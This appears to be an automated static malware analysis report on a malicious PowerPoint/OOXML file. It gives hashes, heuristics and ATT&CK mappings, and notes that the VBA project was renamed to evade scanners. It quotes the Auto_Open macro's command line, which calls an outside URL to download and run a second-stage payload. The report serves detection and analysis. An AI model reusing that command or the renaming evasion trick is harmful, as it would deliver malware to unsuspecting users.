Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 abcf5e3ffd196e66…

MALICIOUS

Office (OOXML)

9.2 KB
MD5: 554e87203e4ca4a1142b73a5e428afc5 SHA-1: fcc6dbe8927fc3930f8ec2e40699ab1963acda32 SHA-256: abcf5e3ffd196e66d865361389738d96a6d80f8c44f6a4f005a8ef4044b9b25f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an Auto_Open subroutine, which is automatically executed when the document is opened. This macro constructs and executes a command-line string: 'cmd msgbox/rmsh ta https://www.bitl.y.com/asdodoasdoaasddlkmdwklwdl'. This indicates an attempt to download and execute a second-stage payload from the specified URL.

Heuristics 5

  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kaosdkaosd.b)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitl

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
86898e3926b1047ace102665304e7bef6355e8aecfcadf5e53ab42e318889a2e		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 733 bytes
vbaProject_00.bin
09a557e5f0c67752c1eef3be09685b858930a0a07454dc3a72fe223bbc747b0a		 vba-project OOXML VBA project: ppt/kaosdkaosd.b 19968 bytes

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